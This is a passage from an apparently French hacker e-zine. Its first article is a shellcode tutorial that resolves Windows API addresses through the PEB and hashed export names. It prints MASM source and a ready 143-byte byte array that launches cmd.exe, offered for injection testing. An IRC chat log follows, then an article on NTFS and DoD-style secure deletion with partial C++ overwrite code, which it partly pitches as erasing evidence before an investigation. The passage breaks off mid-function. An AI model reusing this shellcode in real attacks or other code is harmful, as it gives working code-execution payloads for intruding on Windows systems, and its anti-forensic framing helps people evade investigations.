trouver n'importe quelle fonction du moment quelle soit dans un des modules en
memoire.


Maintenant qu'on a l'ImageBase on va devoir scanner l'export table.

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

Les tableaux de noms de fonctions et d'ordinals sont aligns (comme dans la
table de imports) donc on realise la meme operation que precedemment.
On recupere le nombre de fonctions exportees avec NumberOfNames 
(ouais tte les fonctions exportees non pas forcement un nom :s)
puis on scanne jusqu'a trouv la fonction. On va ds le tableau des ordinals, on
choppe l'ordinal puis goto tableau des addr a l'indice ordinal pour l'addr de la fonc.

Allay le code est la:

------------CUT HERE--------------------
.486
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
assume fs:nothing

FindExport PROTO :DWORD,:DWORD
_ExitProcess equ 073e2d87eh

.data
format db "Addr: 0x%x ",10,0

.data?
buffer db 100 dup(?) 
.code
start:

	invoke FindExport,77e70000h,_ExitProcess ;ImageBase Kernel32.dll

	invoke wsprintf,addr buffer,addr format,eax
	invoke StdOut ,addr buffer

	invoke ExitProcess,0
FindExport PROC _ImageBase:DWORD, ApiHash:DWORD

	mov ebp,_ImageBase ;ebp=imagebase
	mov ebx,dword ptr [ebp+3Ch] ;'MZ'+ 0x3c = e_lfanew (offset 'PE', 0x4550)
	mov ecx,dword ptr [ebp+ebx+78h] ;PE'+0x78 = dbut IMAGE_DIRECTORY_ENTRY_EXPORT * 'PE'+0x78 = VirtualAddress
		
	mov ebx,dword ptr [ebp+ecx+20h] ;rva Name
	add ebx,ebp
	mov edx,ecx
	add edx,ebp
	mov ecx,dword ptr [ebp+ecx+18h] ;NumberOfNames
	dec ecx

	find_function:
			
	mov esi,dword ptr [ebx+ecx*4] ;esi RVA Addr name
	xor edi, edi
	xor eax, eax 
	add esi,ebp ;VA name
	test ecx,ecx ;si ya pu
	je fin
	dec ecx ;previous
		
	cld
	hash:
	lodsb ; LODSB Load byte at address DS:(E)SI into AL
	test al, al ;fin du nom ?
	jz finished
	ror edi, 0dh
	add edi, eax
	jmp hash
	finished:
	cmp edi,dword ptr [esp+0Ch] ;ApiHash
	jne find_function
	inc ecx
	mov ebx,dword ptr [edx+24h];rva AdressOfNameOrdinals
	add ebx,ebp ;VA AddressOfNameOrdinals
	mov cx,word ptr [ebx+ecx*2] ;Ordinal de la fonction
	mov eax,dword ptr [edx+1Ch]; RVA Addr
	add eax,ebp ;VA addr
	mov eax,dword ptr [eax+ecx*4]
	add eax,ebp
	
	fin:
	pop ebp
	retn
	
FindExport EndP	
end start 	
------------CUT HERE--------------------

Ce qui nous sort:
Addr: 0x77e969be
Magnifique on a l'addr de ExitProcess dans la memoire :)


IV)The Shellcode!
-------------------

Maintenant qu'on est capable de trouver n'importe quelle fonction on a 
plus qu'a ecrire le shellcode.

On va faire un shellcode qui lance un cmd.exe, on va ainsi utliser l'api CreateProcess 
de kernel32.dll. Il faut savoir que kernel32.dll est tjrs charge en second ds la memoire
donc avec InInitializationOrderModuleList il suffit de prendre le second element :)
apres on scanne la table des exports puis on repere notre fonction et on balance le tout.

------------CUT HERE--------------------
.486
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
assume fs:nothing

_CreateProcessA equ 016b3fe72h

.code 

start:
	push 30h
	pop ebx
	mov eax,fs:[ebx]		;Sur le PEB
	mov ebx,[eax+0Ch]		;PEB->LoaderData
	mov eax,dword ptr [ebx+01Ch];LoaderData->InitializationOrderModule.Flink
	mov ebx,dword ptr [eax] ;Next Flink
	mov ebp,dword ptr [ebx+8h] ;ImageBase Kernel32
	
	mov ebx,dword ptr [ebp+3Ch] ;'MZ'+ 0x3c = e_lfanew (offset 'PE', 0x4550)
	mov ecx,dword ptr [ebp+ebx+78h] ;PE'+0x78 = dbut IMAGE_DIRECTORY_ENTRY_EXPORT * 'PE'+0x78 = VirtualAddress
		
	mov ebx,dword ptr [ebp+ecx+20h] ;rva Name
	add ebx,ebp
	mov edx,ecx
	add edx,ebp
	mov ecx,dword ptr [ebp+ecx+18h] ;NumberOfNames
	dec ecx
	find_function:
			
	mov esi,dword ptr [ebx+ecx*4] ;esi RVA Addr name
	xor edi, edi
	xor eax, eax 
	add esi,ebp ;VA name
	dec ecx ;previous	
	cld
	hash:
	lodsb ; LODSB Load byte at address DS:(E)SI into AL
	test al, al ;fin du nom ?
	jz finished
	ror edi, 0dh
	add edi, eax
	jmp hash
	finished:
	cmp edi,_CreateProcessA ;ApiHash
	jne find_function
	inc ecx
	mov ebx,dword ptr [edx+24h];rva AdressOfNameOrdinals
	add ebx,ebp ;VA AddressOfNameOrdinals
	mov cx,word ptr [ebx+ecx*2] ;Ordinal de la fonction
	mov eax,dword ptr [edx+1Ch]; RVA Addr
	add eax,ebp ;VA addr
	mov ebx,dword ptr [eax+ecx*4]
	add ebx,ebp
	
	;STARTUPINFO: 68 bytes
	;PROCESS_INFORMATION: 16 bytes
	sub esp,48h ;reserve la stack
	xor eax,eax
	mov cl,12h	
	mov edi,esp
	rep stos dword ptr [edi] ;met 18 "couches" a 0
	mov ebp,esp
	mov byte ptr [esp],44h;STARTUPINFO.cb=44
	lea eax,dword ptr [esp+4h] ;esp+44 
	mov dword ptr [esp+44h]," dmc" ;balance a la 17 eme "cmd "
	lea edx,dword ptr [esp+44h]
	
	;***************************************
	;|		       	stack viewer			       |			
	;***************************************
	;0012FF7C   00000044
	;0012FF80   00000000 la strucure PROCESS_INFORMATION commence ici 
	;0012FF84   00000000 mais on met tout a 0 
	;0012FF88   00000000
	;0012FF8C   00000000
	;0012FF90   00000000
	;0012FF94   00000000  tout ca c'est pour STARTUPINFO
	;0012FF98   00000000
	;0012FF9C   00000000
	;0012FFA0   00000000
	;0012FFA4   00000000
	;0012FFA8   00000000
	;0012FFAC   00000000
	;0012FFB0   00000000
	;0012FFB4   00000000
	;0012FFB8   00000000
	;0012FFBC   00000000
	;0012FFC0   20646D63 "cmd "
	;0012FFC4   77E98989  RETURN to kernel32.77E98989

	xor ecx,ecx
	push eax
	push ebp
	push ecx
	push ecx
	push ecx
	inc ecx
	push ecx
	dec ecx
	push ecx
	push ecx
	push edx
	push ecx
	call ebx                    ; kernel32.createprocessa
	add esp,48h
	retn

Invoke ExitProcess,0
	
end start 
------------CUT HERE--------------------

ce qui donne un shellcode de 143 bytes sans null byte evidemment ;)

char code[] = {
0x6A, 0x30, 0x5B, 0x64, 0x8B, 0x03, 0x8B, 0x58, 0x0C, 0x8B, 0x43, 0x1C, 0x8B, 0x18, 0x8B, 0x6B, 
0x08, 0x8B, 0x5D, 0x3C, 0x8B, 0x4C, 0x2B, 0x78, 0x8B, 0x5C, 0x29, 0x20, 0x03, 0xDD, 0x8B, 0xD1, 
0x03, 0xD5, 0x8B, 0x4C, 0x29, 0x18, 0x49, 0x8B, 0x34, 0x8B, 0x33, 0xFF, 0x33, 0xC0, 0x03, 0xF5, 
0x49, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x07, 0xC1, 0xCF, 0x0D, 0x03, 0xF8, 0xEB, 0xF4, 0x81, 0xFF, 
0x72, 0xFE, 0xB3, 0x16, 0x75, 0xE1, 0x41, 0x8B, 0x5A, 0x24, 0x03, 0xDD, 0x66, 0x8B, 0x0C, 0x4B, 
0x8B, 0x42, 0x1C, 0x03, 0xC5, 0x8B, 0x1C, 0x88, 0x03, 0xDD, 0x83, 0xEC, 0x48, 0x33, 0xC0, 0xB1, 
0x12, 0x8B, 0xFC, 0xF3, 0xAB, 0x8B, 0xEC, 0xC6, 0x04, 0x24, 0x44, 0x8D, 0x44, 0x24, 0x04, 0xC7, 
0x44, 0x24, 0x44, 0x63, 0x6D, 0x64, 0x20, 0x8D, 0x54, 0x24, 0x44, 0x33, 0xC9, 0x50, 0x55, 0x51, 
0x51, 0x51, 0x41, 0x51, 0x49, 0x51, 0x51, 0x52, 0x51, 0xFF, 0xD3, 0x83, 0xC4, 0x48, 0xC3, 
};

A tester avec inject.exe par exemple
On doit pouvoir certainement optimiser cela mais je vous laisse le soin de le faire ;)


V) Conclusion
---------------

Voila mon petit periple ds les shellcodes generiques s'acheve j'espere que cela vous a plus
sachez que j'ai avant tout ecrit ce paper pour moi, ne le prennez pas mal, mais ca ma permi 
de mettre mes connaissances en pratique et en meme tps de faire profiter un maximum de monde.
J'espere que je vous aie aussi donner cette envie de progresser dans le monde de la prog/hack
et que bientot MindKind sera submerge de papers venu de partout (doux reve ....)
Allay ciao 


Vous trouverez tout les code et les executables sur mon site dans le dossier Mindkind.

EMail:ivanlef0u119@yahoo.fr
WebSite: http://membres.lycos.fr/moi118118

References
----------
[TEB_PEB] http://undocumented.ntinternals.net/
[PE] http://www.lookinginside.net/ et http://win32assembly.online.fr/tutorials.html
[RING3] http://membres.lycos.fr/rix/me/texts/
[NEITSA] http://neitsabes.online.fr/RE/HIRE/AddressConversion.htm
[LORDPE] http://mitglied.lycos.de/yoda2k/LordPE/info.htm
[Prack] http://www.phrack.org/phrack/62/p62-0x07_Advances_in_Windows_Shellcode.txt
[MASM32] http://www.masm32.com/
[WIN_MEM] http://www.relsoft.net/part1.html
http://www.milw0rm.com/shell.php?platform=win32
http://metasploit.com/



     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |       by IvanLeFou |
           			                  '--------------------'




      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                       no comments 				 .  '
        									         |  |
            <neda> notice Schatzy-FX non ca fait pas mal, ca fait juste trop du bien     :  |
            apparament haha                                                              |  |
       	    <neda> ooap ifgu                                                             |  |
            <neda> uigfopsaspio                                                          |  |
            <Schatzy-FX> ahhaha                                                          |  :
            <neda> esti                                                                  |  |
            <Dreamwalka> lollllll                                                        |  |
            <Schatzy-FX> MOUAHAHAHAA HAHAH                                               |  |
            <[Dawn]> wtf                                                                 |  |
            <neda> /clear                                                                |  |
            <neda> /clear                                                                |  |
            <[Dawn]> lolllllllllllllllllllllllll                                         |  |
            <neda> /clear                                                                |  |
            <neda> /clear                                                                |  |
            <neda> /clear                                                                |  |
            <neda> /clear                                                                |  |
            <neda> ahaha                                                                 |  |
            * Schatzy-FX pisse dans ses culottes                                         |  |
            <phawnky> vous parler de sex avec des mamouthes?                             |  |
            <neda> ahahahaha                                                             |  |
            <neda> putain                                                                |  |
            <Dreamwalka> y parle de sexe anal                                            |  |
            <Schatzy-FX> ahahahah                                                        |  |
            <neda> non                                                                   |  |
            <Schatzy-FX> mouaaaaaaaaaaaaaaaaahhhhhhhhhhhhhhhh                            |  |
            <neda> mais obn                                                              |  |
            <neda> ahhahhja                                                              |  |
            <neda> esti                                                                  |  |
            <[Dawn]> ayoyeyeee                                                           |  |
            <phawnky> Dreamwalka: mouaip, probablement.                                  |  |
            <[Dawn]> LOL -ye                                                             |  |
            <Schatzy-FX> ouch                                                            |  |
            <Wyzeman> haha                                                               |  |
            <Schatzy-FX> j'ai mal au ventre :/                                           |  |
            <Wyzeman> trop laf                                                           |  |
            <Schatzy-FX> fait pu ca neda                                                 |  |
            <neda> ahahahah                                                              |  |
            <Schatzy-FX> j'vais mourrir                                                  |  |
            <neda> esti                                                                 /   '
 	    <[Dawn]> pleure                                                            /   / B
	    <neda> je vais te pv                                                      /   / U   
  	    <[Dawn]> LOLLLLLLL                                                       /   , P   
            <neda> la prochaine fois                                                /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
 											  


		       



     	    .-- -- ---- ----.
     	 ___|  MKD1001\006  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                      SDEL - Secure Delete
   
  	                                      AKA

	           la corbeille n'est pas plus trustable qu'un vendeur de char
                                      



Rsum


Dans   ce  texte  je  vais  vous  expliquer  brivement  pourquoi     on    pourrait     avoir
recours  la suppression scuritaire. Je vais aussi vous parler d'un des standards   les  plus 
connuent pour la suppression de donnes de faon scuritaire et je vous prsente un exemple de 
programme qui permet de le faire.

Tables des matires
    1. Introduction
    2. Pourquoi
    3. Quelques standard
    4. Windows NT/2000/XP
        4.1 NTFS
            4.1.1  propos
            4.1.2 MFT
            4.1.3 Fichier et rpertoire
            4.1.4 Plus d'info
        4.2 Exemple de code
    5. Conclusion

1. Introduction

    Toute personne, au moins une fois dans sa vie,  malencontreusement  effac ou supprim un
    ou des fichiers qu'il considrait comme important. C'est pourquoi plusieurs utilitaires de 
    rcupration de fichiers ont t dvelopps. Prenons MS-DOS   en   exemple,    un  systme 
    d'exploitation  16  bits  datant  du  dbut  des annes 1980. Ce systme d'exploitation,  
    partir de la version 5.0 (1991), fournis le  programme/command  'undelete'    qui   permet   
    de rcuprer des fichiers qui ont t supprimes. Dans la mme lign, le programme/command 
    'unformat' restaure un disque effac par la commande 'format' ou    restructur    par  la 
    commande 'recover'. Le systme d'exploitation Linux possde lui aussi plusieur application 
    pour rcuprer des fichiers  effacs. La raison pour laquel un fichier  supprim  sur   un 
    systme peut tre  rcupr est fort simple, le systme de fichier n'enlve pas le fichier
    du disque, mais dit simplement que l'espace qu'il utilise est dsormait libre. Vous pouvez 
    faire un teste rapide qui tend  prouver ceci. Copier un fichier de quelques centaines  de
    mga-octects, ne le dplacer pas puisque le fichier n'est pas physiquement dplac dans la
    pluspart des cas, et prenez note du temps pris pour cette opration. Maintenant, supprimer
    le fichier en  appuyant sur 'shift+del' sous windows ou taper simplement 'rm' sous  Linux.
    Vous  constaterai  que  le  temps  pris  pour  cette opration est de loin plus rapide. Le 
    fichier   est donc toujouts physiquement sur le disque, ce n'est simplement que le systme 
    de fichier qui le considre effac. Il est donc possible avec un utilitaire spcifique, de  
    rcuprer des donnes effaces sur un disque.

2. Pourquoi

    Il y a plusieur raisons de vouloir supprimer de faon  scuritaire   un   fichier.  Pensez
    simplement  une entreprise qui vend ses vieux disques parce qu'elle    mise  jour, avec 
    des disques de plus grande capacit,    certains de ses ordinateurs et que ces ordinateurs 
    sont suceptible de  contenir des donnes confidentiels. Cette entreprise  tout  intrt 
    effacer ses disques d'une manire scuritaire afin que ces informations  confidentiels  ne
    se retrouve pas dans de mauvaise mains. Un meilleur exemple    encore, un   misnistre  du 
    gourvernement qui se dbarasse de vieux systmes ou  pices. Il  serait   trs  regrtable
    que des donnes d'un ordinateur du  ministre du revenue soient rcuprs   puisqu'il  est 
    suceptible de contenir les informations personnel de plusieurs personne dont  le   NAS, le 
    revenu  annuel, etc. Nous pouvons acheter du matriel    au  surplus  du  gourvenement  et
    je ne serais pas suppris que  la suppression   scuritaire des donnes ne soit     pas  un
    standard dans notre gouvernement  ou  du   moins,  si   elle est, que cette directive soit 
    appliqu  la lettre. Et puis, pour tous les hacker, phreaker, etc. de ce monde,   qui ont
    entrepos de faon temporaire des donnes qui sont suceptible d'tre utiliss  contre  eux 
    lors d'une quelconque investigation, il est trs pratique, et plus reposant, de  se savoir
    un peu plus en scurit suite  la suppression scuritaire des ces donnes
    compromtante.

3. Quelques standards

    Plusieur standard existe pour supprimer de faon scuritaire les donnes d'un  disque.  Le 
    plus connu serait sans doute  celui   du  'National Industrial Security Program: Operating 
    Manual' du Dpartement de la Dfense Amricaine,  communment  appl  le DoD  5220.22-M ou
    NISPOM. Au Chapitre 8, Section 3, 8-306, Partie E. on stipule qu'un disque magntique doit 
    avoir "tous ses locations adressable rcrite avec   un   caratre,   son  complment   et 
    finalement un caratre alatoire". Un autre standard connu est celui    de  Gutmann    qui
    explique que un disque doit tre rcrit 35 fois suivant   des  patherns   alatoires   et 
    prdfinies.  La  RCMP  (Royal  Candian  Mounted  Police)    aussi  un  standard  pour la 
    suppression  scuritaire  mais  premire vu, il semble tre   bas majoritairement sur le 
    stadard du DoD  mais  il  parle  aussi  de  Gutmann,  alors il utilise   peut-tre   aussi   
    certaine deses recommendations. Nous  allons nous concentr sur le standard du Dpartement 
    de   la Dfense Amricaine pour cette article.
    
    Il est clairement indiqu, dans le NISPOM, que la mthode dcrite plus haut n'est en aucun 
    cas valide pour des documents classs 'TOP SECRET'. Dans ce  cas prsent, nous devons nous 
    rfrer  la Partie M du standard qui explique que le mdia doit tre dtruie en utilisant 
    une des technique suivante:  dsintgration, incinration, pulvrisation, dchiquetage  ou 
    fonte. Oui, on peut appler a de la paranoa. Donc, il n'est pas ncessaire  de  dire  que
    le code prsent plus bas dans cette article n'est pas applicable au document  class  TOP
    SECRET mais a, je crois que vous l'aviez devin.

4. Windows NT/2000/XP

    Moi  choix  c'est  arrt sur la platforme Windows NT/2000/XP parce que c'est propablement 
    une des plus utiliss, parce que mon portable  Windows XP d'install dessus, parce   qu'  
    mon avis c'tait la plateforme o il serait le plus facile de dvelopper SDEL et parce que 
    (ma rponse universel et incontestable). Voil! Maintenant, j'ai focus exclusivement  sur   
    le nouveau systme de fichier que la technologie NT a amen, je parle ici de NTFS.
    
    4.1 NTFS
    
        4.1.1  propos

            Abrviation de 'New Technology Filesystem'. Ce systme de fichier    vu  le  jour 
            avec  Windows NT 3.1,  et  n'a  pas cess d'voluer  depuis.  NTFS  est  nettement 
            suprieur    son  prdcesseur, FAT (File Allocation Table). Il est plus robuste, 
            support  les  nom  de  fichiers  Unicode,  support  la compression et l'encryption 
            'built-in' etapporte la notion de droit d'accs. Son seul dsavantage majeur c'est 
            qu'il n'est pas accessible via des disquettes d'armorcage DOS. Contrairement   ce  
            que  plusieur  pense,  les  diffrentes version de Windows, partant de NT  XP, on 
            chacun une version diffrente du systme NTFS.   Le   systme fonctionne  la base 
            de  la  mme  manire,  mais  chaque  nouvelle  version  apporte  des   'features' 
            supplmentaire. Par exemple, la  premire  version  de  NTFS  (Windows NT 3.51) ne  
            comprenait     aucun   support  pour  dfragmenter  un  disque  dure. Windows 2000 
            supporte maintenant les quota.  Ce n'est que deux exemples, mais dmontre bien que 
            chaque version de    Windows comprend une  version  bien  diffrente  du   nouveau 
            systme  de  fichier    de   Microsoft.   NTFS  support  des  fichiers  de  taille 
            considrable, jusqu' 2^63 octects.   Les   volumes  peuvent contenir jusqu' 2^63 
            'clusters' et chaque    'clusters' peuvent tre jusqu' 64ko. Ce  qui donne  NTFS 
            une limite   d'environ    500 trillion de gigaoctets,  plus que suffisant pour les    
            100  prochaines  annes  peu  importe  la  vitesse  de  dveloppement    dans  les 
            technologies de l'information.

            NTFS est construit comme une base de donnes, les donnes sont organises  suivant
            un arbre B+ (une sorte d'arbre binaire qui conserve plusieurs entrs  dans  chaque 
            noeud de l'arbre) et chaques  modifications implique plusieurs changement  divers
            endroits. Chaque opration est trait comme une transaction, et si une transaction 
            choue, le systme essaie de son mieu de remettre le systme dans l'tat  o    il
            tait avant le dbut de la transaction, une sorte de 'roll-back'   comme  on  peut
            le retrouver dans plusieurs base de donnes.

        4.1.2 MFT (Master File Table)

            Lorsqu'un volume est format pour NTFS,  un fichier   MFT    et   quelques  autres 
            mtafichiers sont crs. Les mtafichiers sont     des   fichiers   utiliss  pour
            implmenter  la  structure  du  systme  de  fichier.  C'est   mtafichiers   sont 
            enmagasins dans une zone, la MFT area,  qui  est  rserv  sur  le volume et dans    
            laquelle  les mtafichiers grossissent. Il est strictement impossible d'crire des 
            donnes   dans cette zone. Les 16 premiers enregistrement du MFT sont rserv pour  
            localis les autres mtafichiers. Le premier enregistrement dans la MFT est la MFT  
            ($MTR) elle-mme,  le second est une copie mirror des 4  premiers  enregistrements  
            du MFT ($MTRMirr). On retrouve aussi dans la MFT la  position du 'boot sector'. Et   
            le 'boot sector' contien la position du $MTR et du $MTRMirr. Une   copie  du 'boot
            sector' se retrouve aussi  la fin du volume. La zone MFT (MFT area) est un buffer
            maintenu   par Windows pour empcher la MFT de se fragmenter  et    lui  permettre
            de grandir. Ceci permet aussi d'obtenir  un    meilleur   rendement   au niveau de 
            l'indexation des fichers et la rapidit  d'y accder. La MFT alloue un espace pour
            chaque enregistrement de fichier. Les attribues du fichier  sont   inscrite   dans
            l'espace allou dans la MFT.  Les petits fichiers  et  rpertoires   (gnralement 
            1500 octects ou  moins) peuvent tre entirement contenu dans  un   enregistrement.
            Autrement, l'enregistrement pointer vers les unites d'allocation  (clusters)  qui
            contiendrons les informations qui n'ont pas pu tre inscritent dans la   structure
            de la MFT. Lors de l'ajout d'un fichier ou rpertoire, la MFT est  automatiquement
            ajust lorsqu'elle atteind sa limite en allouant un nouveau buffer  pour  la  zone
            MFT. L'espace  allou est calcul en tenant compte de la  taille   moyenne    d'un
            fichier sur le volume, et la quantit de fichier de cette  taille qui peuvent tre
            enregistr sur le volume. Par contre, si un fichier est supprim,  l'espace  qu'il
            occupe dans la MFT n'est pas dsallou mais    simplement marqu comme libre  pour
            utilisation par la MFT seulement. Cette espace n'est donc toujours pas  disponible
            comme espace libre sur le volume. Cette espace ne sera pas    rendu  disponible  
            moins que  toute l'espace libre du volume soit   compltement   consum.   chaque
            fois que le volume est satur, la zone MFT est rduite.

        4.1.3 Fichier et rperoire
        
            Tout est un fichier dans NTFS, comme pour la totalit des systme *nix.  Le systme 
            de fichier NTFS voit chaque fichier (ou rpertoire)  comme un ensemble d'attribues.
            Les lments tel que le nom du fichier, ses informations de scurits, et mme  son
            contenu, sont  tous des attribues. Ils sont tous identifis par un   code  pour  le
            type d'attribue et, falcultativement, d'un nom d'attribue. Comme   mention    plus 
            haut, si les attribues d'un fichier peuvent tre  entirement contenuent dans  dans
            un seul enregistrement de la MFT, ils sont donc appels attribues   rsidant.   Par
            exemple, les  informations comme le nom du fichier et son timestamp  sont  toujours
            contenues dans un enregistrement. Quand toutes les informations d'un   fichier sont
            trop imposante pour tre contenu dans  un   enregistrement,  quelques   un  de  ses
            attribues sont non rsidant. Les  informations non rsidante sont contenu  dans  un 
            ou plusieurs     'clusters' en quelque part sur le volume. NTFS cr la  l'attribue
            liste d'attribues (Attribute List) pour spcifier la position sur le
            volume de tous les attribues.
        

        4.1.4 Plus d'info

            Si vous voulez plus de dtail sur certains 'features' de NTFS,
            visit le lien suivant:

               http://msdn.microsoft.com/library/default.asp?url=/library/en-us/
               fileio/fs/ntfs_file_system.asp
               
            Un bon site qui explique assez bien le fonctionnement du systme de
            fichier:

               http://ntfs.com/
               
            Et bien sur, la superbe documentation en ligne de MSDN:

               http://msdn.microsoft.com/library/

    4.2 Exemple de code

        Voici un bout de code qui permet de supprimer de faon scuritaire un   fichier sur un
        disque  format  en  NTFS.  Il est possible que ce code marche aussi pour Windows 9x/ME 
        mais  je  ne  l'ai jamais test.  vrai dire, je l'ai seulement test sous Windows XP, 
        donc il se peut, mais il est peut probable, que ce code ne fonctionne pas sous Windows 
        NT/2000 ou sous Windows Server 2003.
        
        Je vais tenter le plus possible de dcrire les oprations effectues et aussi expliqu
        le  pourquoi  de  ces  oprations. Vous noterai que ce code est relativement simple et 
        qu'il n'assure  PAS  compltement que les donnes ont t totalement supprim de faon 
        scuritaire. Je vous expliquerai en dtails pourquoi un peu plus tard.
        
        /*------------------CODE START HERE-----------------------------------*/

        // Ne rduit pas la taille de l'application, mais rduit lgrement
        // le temps de compilation
        #define WIN32_LEAN_AND_MEAN

        #include <windows.h>  // APIs, Structure, Code d'erreur, etc.
        #include <tchar.h>    // Generic-Text Mapping.
                              // Permet que le programme soit compiler sous un
                              // environnement Unicode ou non en mappant des
                              // prototype de fonction vers la bonne fonction.
                              // Ex.: _tcslen() est mapp  ...
                              //      Si _UNICODE -> wcslen()
                              //      Si _MBCS    -> _mbslen()
                              //      Sinon       -> strlen()
        #include <cstdio>
        #include <cstdlib>
        #include <time.h>

        #define SDEL_OVERWRITEBUFFER 65535 // nombre d'octect  crire pour
                                           // chaque opration d'criture.

        /* FileOverwrite
         *
         * cette fonction tente d'crire le nombre de bytes spcifi en
         * paramtre dans un fichier spcifi lui aussi en paramtre.
         *
         * retourne faux si l'opration choue, sinon retourne vrai
         */
        bool FileOverwrite(HANDLE hFile, DWORD dwBytesToWrites,
                                                       LPDWORD lpdwBytesWritten)
        {
            PBYTE pbOverwriteBuffer[3]; // contiendra les donnes gnres qui
                                        // seront utilis pour rcrire le
                                        //fichier  supprimer.
            int i,j;
            DWORD dwToWrite, dwTotalWritten;

            // on seed le gnrateur de nombre allatoire
            srand((unsigned int)time(NULL));

            // le standard du DOD nous dit que l'on doit faire trois passage
            // pour chaque location adressable.
            //
            // 1er: un caractre quelconque (nous prendrons 0x00)
            // 2ie: son complment (donc 0xFF)
            // 3ie: un caratre allatoire
            //
            for(i=0; i<3; i++)
            {
                // alloue l'espace ncessaire
                pbOverwriteBuffer[i] = new BYTE[SDEL_OVERWRITEBUFFER];
                // si l'opration  chou, nous supprimons tout l'espace allou
                // et nous quittons la fonction
                if (!pbOverwriteBuffer[i])
                {
                    for (j=0; j<i; j++)
                        delete pbOverwriteBuffer[j];
                    _tprintf(_T("Faild to allocate memory space for overwrite" \
                                                                  " buffer\n"));
                    return false;
                }

                // on rempli de buffer ...
                switch (i)
                {
                    // avec des zero
                    case 0:
                        memset(pbOverwriteBuffer[i],0x00,SDEL_OVERWRITEBUFFER);
                        break;
                    // avec le complement de zero, 0xFF
                    case 1:
                        memset(pbOverwriteBuffer[i],0xFF,SDEL_OVERWRITEBUFFER);
                        break;
                    // avec des caractres allatoires
                    case 2:
                        for (j=0; j<SDEL_OVERWRITEBUFFER; j++)
                            pbOverwriteBuffer[i][j] = (BYTE) rand();
                        break;
                }
            }

            // maintenant on rcrit par dessus le fichier
            for (i=0; i<3; i++) {

                //initialise les donnes  chaque passage
                (*lpdwBytesWritten) = 0;
                dwTotalWritten = 0;
                dwToWrite = 0;

                // on repositionne le pointer  la position initial avant
                // l'opration d'criture si nous somme dans le deuxime ou
                // troisime passage
                if (i > 0)
                    SetFilePointer(hFile,(LONG)-dwBytesToWrites,NULL,
                                                                  FILE_CURRENT);
                // on boucle jusqu'a ce que toutes les donnes soient crites
                while ((*lpdwBytesWritten) < dwBytesToWrites)
                {
                    // combien de bytes il nous reste  crire
                    dwToWrite = dwBytesToWrites - (*lpdwBytesWritten);
                    // pas d'overflow svp
                    if (dwToWrite > SDEL_OVERWRITEBUFFER)
                        dwToWrite = SDEL_OVERWRITEBUFFER;
                    // et on crit dans le fichier
                    if (!WriteFile(hFile,pbOverwriteBuffer[i],dwToWrite,
                                                          &dwTotalWritten,NULL))
                    {
                        _tprintf(_T("WriteFile faild with error: %lu\n"),
                                                                GetLastError());
                        return false;
                    }
                    // augmente le nombre de bytes crit
                    (*lpdwBytesWritten) += dwTotalWritten;
                }
            }

            // on libre l'espace allou
            for (i=0; i<3; i++)
                delete pbOverwriteBuffer[i];

            // superbe, tout c'est bien pass
            return true;
        }

        /* FilenameOverwrite
         *
         * Puisque les information d'un fichier, tel son nom, sont enregistr
         * dans la MFT, et n'est jamais supprim  moins que l'espace qu'elles
         * occupent dans la MFT ne soit utilis par les informations d'un autre
         * fichier. Si nous voulons effacer les traces d'un fichier, nous devons
         * aussi faire disparaitre son nom de la MFT. Il faut donc renommer le
         * fichier.
         */
        bool FilenameOverwrite(PTCHAR ptcOrgFilename, PTCHAR ptcCurFilename)
        {
            PTCHAR ptcNewFilename;
            PTCHAR ptcLastBSlash;
            DWORD  dwIndex;
            int i;
            unsigned int j;

            // le nom original du fichier devien de nom courant
            _tcscpy(ptcCurFilename, ptcOrgFilename);

            // puisque ptcOrgFilename peut contenir le chemin d'accs, nous
            // recherchons le dernier slash.
            ptcLastBSlash = _tcsrchr(ptcOrgFilename, _T('\\'));

            // maintenant trouvons o commence le nom de fichier
            dwIndex = (ptcLastBSlash - ptcOrgFilename) / sizeof(TCHAR);

            // allouons de l'espace mmoire pour le nouveau nom de fichier
            ptcNewFilename = new TCHAR[_tcslen(ptcOrgFilename)];
            if (!ptcNewFilename)
            {
                _tprintf(_T("Faild to allocate memory space for new " \
                                                                 "filename\n"));
                return false;
            }

            // copie le chemin d'accs et le nom de fichier
            _tcscpy(ptcNewFilename, ptcOrgFilename);

            // on seed le gnrateur de nombres allatoire
            srand((unsigned int)time(NULL));

            // nous n'utiliserons pas les mme caractres que pour la rcriture
            // du fichier puisque qu'une chaine de caractres se termine par un
            // '\0', ce qui nous amnerait  renommer le fichier avec une chaine
            // vide. Donc la fonction MoveFile va chou. De plus, certains
            // caractres sont prohibs pour un nom de fichier, nous devons
            // donc, lors de la gnration alatoire, limit la plage  un
            // ensemble de caractres valides.
            for (i=0; i<3; i++)
            {
                for (j=dwIndex+1; j<_tcslen(ptcOrgFilename); j++) {
                    if (ptcNewFilename[j] != _T('.'))
                    {
                        switch (i)
                        {
                            case 0:
                                ptcNewFilename[j] = (TCHAR) _T('A');
                                break;
                            case 1:
                                ptcNewFilename[j] = (TCHAR) ~_T('A');
                                break;
                            case 2:
                                ptcNewFilename[j] = (TCHAR) (32+(rand()%26));
                                break;
                        }
                    }
                }
                /* on renomme le fichier
